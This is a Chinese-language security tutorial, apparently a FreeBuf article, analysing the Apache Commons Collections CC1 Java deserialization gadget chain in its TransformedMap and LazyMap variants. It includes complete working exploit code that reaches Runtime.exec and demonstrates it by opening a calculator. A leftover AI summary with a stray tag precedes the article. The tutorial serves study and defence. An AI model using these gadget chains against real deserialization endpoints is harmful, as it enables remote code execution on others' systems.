CC反序列化利用链 -- CC1
好的,我现在要总结这篇文章的内容。首先,文章主要讲的是Apache Commons Collections库中的反序列化漏洞,也就是CC链。这个库被很多Java应用使用,所以漏洞影响很大。 文章详细介绍了CC链的利用条件,包括不同版本的JDK和Commons Collections的影响。比如,在JDK 8u71之前可以使用AnnotationInvocationHandler作为前段,之后不行。还有在Commons Collections 4.0之后可以直接回调PriorityQueue作为前段。 然后,文章讲解了环境搭建的条件,包括Commons-Collections的版本和JDK版本。接着详细描述了完整的利用链,从ObjectInputStream.readObject()开始,到各个Transformer的调用,最终执行Runtime.getRuntime().exec()来执行命令。 代码部分展示了如何构造一个反序列化漏洞的利用代码,包括使用ChainedTransformer、ConstantTransformer和InvokerTransformer来构建反射链。还提到了如何通过AnnotationInvocationHandler和LazyMap来触发漏洞。 最后,文章讨论了利用链的问题优化,比如如何处理Runtime对象的序列化问题,并通过反射获取Runtime类的方法来执行命令。还展示了如何将多个InvokerTransformer组合到ChainedTransformer中,形成一个转换链。 总的来说,这篇文章深入分析了CC反序列化漏洞的原理、利用条件、完整利用链以及优化方法,并提供了具体的代码示例。 </think> Apache Commons Collections组件存在反序列化漏洞(CC链),利用Transformer接口下的transform()方法构建反射链。攻击者通过控制Map对象触发setValue()或get()方法调用TransformedMap或LazyMap中的checkSetValue()或get()方法,进而调用InvokerTransformer.transform()执行恶意代码。该漏洞影响广泛且危害严重。 2026-3-6 02:8:29 Author: www.freebuf.com(查看原文) 阅读量:10 收藏

CC反序列化漏洞

  • Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。作为Apache开放项目的重要组件,Commons Collections被广泛的各种Java应用的开发,而正是因为在大量Web应用程序中这些类的实现以及方法的调用,导致了反序列化漏洞的普遍性和严重性。

  • Commons-Collections组件反序列化漏洞的反射链也称为CC链,自从Apache Common-Collections组件爆出第一个Java反序列化漏洞后,就像打开了Java安全的新世界大门,之后很多Java中间件相继都爆出反序列化漏洞。

CC链利用条件

  • CC链虽然很多条,但是基本上都可以分为前段和后段,重要的承上启下方法是Transformer.transform

  • jdk8u71之前可以使用AnnotationInvocationHandler作为前段,之后不行

  • jdk7低版本中无法使用CC5(BadAttributeValueExpException不存在Object)

  • commons-collections 3.x可以使用LazyMap.decorate作为前段,之后不行

  • commons-collections 4.0之后可以直接回调PriorityQueue作为前段,之前不行

环境搭建

  • Commons-Collections ≤ 3.2.1
    image

  • JDK 1.8.0_65
    image

CC1

  • CC链与URLDNS链一样,起点肯定是某个类的readObject()方法,要可序列化必须重写readObject()方法,接收任意对象作为参数

  • 危险函数执行点:Commons-Collections库中的Transformer接口下的Transform()方法,接着向上回溯,知道找到readObject()方法

TransformedMap利用链

完整利用链

ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                MapEntry.setValue()
                    TransformedMap.checkSetValue()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()

完整利用链代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception {
		    Transformer[] transformers = new Transformer[]{
                 new ConstantTransformer(Runtime.class),
                 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("value", "value");
        Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);

        Class<?> annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> annotationInvocationHandlerConstructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        Object obj = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
        serialization(obj);
        unserialization();
    }

    public static void serialization(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void unserialization() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
        ois.readObject();
    }
}

TransformedMap利用链骨架关系图

image

第一步 Runtime命令执行代码

Runtime.getRuntime().exec("open -a Calculator"); // Mac系统下打开计算器
Runtime.getRuntime().exec("calc"); // Windows系统下打开计算器

第二步 transform()方法及实现与调用

  • 查看transform()方法
    image

  • 查看transform()方法的实现,这里有两个类,一个是InvokerTransformer,一个是ChainedTransformer
    image
    image

  • 要想使用InvokerTransformer的transform()方法,需要创建InvokerTransformer对象,查看InvokerTransformer的构造函数以及定义的属性
    image
    image

    • String methodName,调用方法名

    • Class[] paramTypes,参数类型(数组)

    • Object[] args,参数值(数组)

  • 实现代码

import org.apache.commons.collections.functors.InvokerTransformer;

public class CC1 {
    public static void main(String[] args) {
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"});
        invokerTransformer.transform(Runtime.getRuntime());
    }
}
  • 到这里就实现了用InvokerTransformer的transform()方法执行命令,接下来就是寻找还有其他什么地方调用了InvokerTransformer的transform()方法。

第三步 TransformedMap

  • 接着寻找哪里调用了InvokerTransformer的transform()方法,发现三个类:DefaultedMap、LazyMap和TransformedMap
    image

  • 这里LazyMap和TransformedMap都可以实现,这里先关注TransformedMap下的checkSetValue()方法
    image
    image

  • 要想使用TransformedMap类下面的checkSetValue()方法,需要先创建TransformedMap对象,所有先查看TransformedMap类的属性和构造方法
    image
    image

  • 但是TransformedMap的构造方法是protected修饰的,所以无法从外部访问。接着观察发现decorate()方法,直接返回一个TransformedMap对象
    image

  • 因为checkSetValue()方法也是protected的,无法直接使用,所有接着查找谁调用了TransformedMap类中的checkSetValue()方法
    image

  • 可以看到AbstractInputCheckedMapDecorator类中的静态类MapEntry下的setValue()方法调用了checkSetValue()方法,而TransformedMap中checkSetValue()方法前面的描述也说明了当调用setValue时会自动调用checkSetValue方法
    image

  • 之前查看TransformedMap类发现AbstractInputCheckedMapDecorator是其父类
    image

  • 而Entry是Map类中的一个键值对,在Map的Entry接口中有setValue()方法,所以在对Map进行遍历时就会调用setValue()方法,并且可以看到在AbstractInputCheckedMapDecorator中有对setValue()方法进行实现
    image

  • 所有这里对TransformedMap进行遍历就可以触发setValue()方法进而触发checkSetValue()方法

  • 实现代码

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) {
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("key", "value"); // 通过端点调试for循环可以看到,hashMap无值时没有满足for循环条件,直接跳过for循环下面的语句
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
        Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
        for (Map.Entry<Object, Object> entry : transformedMap.entrySet()) {
            entry.setValue(Runtime.getRuntime());
        }
    }
}

第四步 AnnotationInvocationHandler

  • 接下来的思路和之前一样,继续查找哪里又调用了MapEntry的setValue()方法
    image

  • 可以发现在sun.reflect.annotation.AnnotationInvocationHandler中重写的readObject方法发现在调用setValue方法,并且AnnotationInvocationHandler实现了Serializeble接口,所以如果可以直接将AnnotationInvocationHandler序列化,并且通过readObject再实现反序列化即可实现链条利用
    image

  • 与之前一样,要使用readObject()方法需要创建AnnotationInvocationHandler对象,先从属性和构造函数入手
    image

  • 构造函数中第一个参数是集成了注解的Class,第二个是个Map,第二个参数可控,可以转入之前的TransformedMap类,而setValue()的调用点memberValue来源于AnnotationInvocationHandler的类属性memberValues

  • AnnotationInvocationHandler的修饰符是default,在外部无法直接被实例化,所以只能尝试使用反射进行实例化操作

Class<?> annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHandlerConstructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object obj = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
  • 目前CC1的利用链骨架已经有了,代码实现如下

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception {
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("key", "value");
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
        Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);

        Class<?> annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> annotationInvocationHandlerConstructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        Object obj = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
        serialization(obj);
        unserialization();
    }
    public static void serialization(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void unserialization() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
        ois.readObject();
    }
}

第五步 利用链问题优化

  1. 利用链中Runtime对象因为Runtime类没有继承Serializable接口,不可以被序列化。

    • 可以利用反射获取Runtime类,它的原型是Class类,而Class类实现了Serializable接口
      image

    Class<?> runtimeClass = Class.forName("java.lang.Runtime");
    

Method runtimeClassMethod = runtimeClass.getMethod("getRuntime", null);
Runtime runtime = (Runtime) runtimeClassMethod.invoke(null, (Object[]) null);
Method cmdMethod = runtimeClass.getMethod("exec", String.class, String[].class);
cmdMethod.invoke(runtime, "open -a Calculator", null);
```

* 改为InvokerTransformer反射

```
Method getRunmethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),

Runtime cmd = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
```

* 想办法把这三行InvokerTransformer反射统合起来

```
Transformer[] transformers = new Transformer[]{
			new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
			new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
			new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})

};
```

* 之前提到的ChainedTransformer类也有transform()方法,刚好遍历传入的对象,整合代码如下

```
import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
}
}
```

  1. AnnotationInvocationHandler类的readObject()方法 要是想调用setValue()方法,得绕过两个if判断。

    1. 第一个if判断

      • 第一个if判断是memberType != null,要想通过需要memberType不能为空
        image

      • 向上回溯memberType
        image
        image

      • 回溯上去发现来自于构造函数中的可控参数Class<? extends Annotation> type,memberType是获取注解中成员变量的名称,传入的是Target.class而不是Override.class是因为Override没有成员变量,而Target有成员变量名称是value,所以采用Target标签类
        image
        image

      • 通过调试发现memberTypes为hashmap,hashmap的键名为value,所以name的值应该为value(此时为key)
        image

      • name是通过调用 memberValue.getKey() 获得的, memberValue 来自于对 memberValues.entrySet() 的遍历,所以需要修改在我们前面构造的map,将键名改为value
        image

    2. 第二个if判断

      • 第二个if判断是不能改变出入的value类型,或者是value的类型是ExceptionProxy,这里永远为真,可以通过
        image

  2. AnnotationInvocationHandler类的readObject()方法调用 的setValue()方法的参数不可控。

    • readObject下的setValue()方法中的参数是写死的,需要想办法绕过
      image

    • 可以使用org.apache.commons.collections.functors包下的ConstantTransformer类。它里面的transform就是返回我们传入的对象,如果我们传入Runtime.class,那返回的也即是Runtime.class,并且ConstantTransformer也存在transform()方法
      image

    • 如果给ChainedTransformer的transform()方法中传入ConstantTransformer就会调用ConstantTransformer的transform(),传入InvokerTransformer就会调用InvokerTransformer的transform(),所有可以将ConstantTransformerInvokerTransformer组合到ChainedTransformer中,构建一个转换链,最终实现命令执行

    Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
    

};
```

* 调试调用观察下反序列化过程
    1. 调用`ChainedTransformer`的transform(),第一轮的值是`AnnotationTypeMismatchExceptionProxy`类
    ![image](https://image.3001.net/images/20260306/1772761256_69aa30a81359b24038af3.png!small)
    2. 调用`ConstantTransformer`的transform(),传入的是`AnnotationTypeMismatchExceptionProxy`,返回的是Runtime
    ![image](https://image.3001.net/images/20260306/1772761280_69aa30c018561dbae815d.png!small)
    3. 获取Runtime的getRuntime方法
    ![image](https://image.3001.net/images/20260306/1772761307_69aa30db085e535bc4d53.png!small)
    4. 最后成功弹出计算器
    ![image](https://image.3001.net/images/20260306/1772761331_69aa30f34837d98507427.png!small)

LazyMap利用链

完整利用链

ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
        Map(Proxy).entrySet()
            AnnotationInvocationHandler.invoke()
                LazyMap.get()
                    ChainedTransformer.transform()
                        ConstantTransformer.transform()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Class.getMethod()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.getRuntime()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()

完整利用链代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[]{
                 new ConstantTransformer(Runtime.class),
                 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);

        Class<?> annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> annotationInvocationHandlerConstructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);

        InvocationHandler invocationHandler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler);
        Object obj = annotationInvocationHandlerConstructor.newInstance(Override.class, proxyMap);

        serialization(obj);
        unserialization();
    }

    public static void serialization(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void unserialization() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
        ois.readObject();
    }
}

LazyMap

  • LazyMap利用链也是从Transformer接口下的transform()方法入手,接着是InvokerTransformer类实现,再查找哪里调用了transform()方法

  • 定位到LazyMap类,类下面的get方法调用了transform()方法
    image

  • 查看LazyMap的属性和构造方法,与TransformedMap一样,也是protected修饰符,无法直接调用
    image
    image

  • 这里也有个decorate方法,返回LazyMap对象
    image

  • 实现代码如下

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
HashMap<String, String> hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, invokerTransformer);
lazyMap.get(Runtime.getRuntime());

AnnotationInvocationHandler

  • 接着需要找哪里调用了get方法

  • AnnotationInvocationHandler的invoke方法中,调用了memberValue成员变量的get的方法,而memberValue是我们构造方法中传入的一个Map对象
    image
    image

  • AnnotationInvocationHandler类本身实现了InvocationHandler接口,而这个AnnotationInvocationHandler类是一个动态代理类,特点之一就是调用该类的任意方法,都会调用器invoke()方法,所以如果调用AnnotationInvocationHandler类的readObject()方法,该类的invoke()方法也会触发

  • 代理用到java.lang.reflect.Proxy类,通过newProxyInstance创建代理对象,传入3个参数,第一个参数是一个ClassLoader,第二个参数是一个代理对象的集合,第三个参数是一个实现了InvocationHandler接口的对象

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
  • proxyMap是一个Map类型的代理对象,当调用代理对象的任意方法时会先进入到实现了InvocationHandler接口的对象的invoke方法,相当于劫持了一个函数的流程,可以在函数执行之前进进行一些操作

  • 所以只要构造好AnnotationInvocationHandler生成一个代理对象,然后将构造好的AnnotationInvocationHandler放入代理中,当调用代理对象的任意方法时就会进去我们构造好的AnnotationInvocationHandler对象的invoke方法接着触发我们LazyMap的get方法,然后调用我们恶意的ChainedTranformer的transform方法。


文章来源: https://www.freebuf.com/articles/vuls/472554.html
如有侵权请联系:admin#unsafe.sh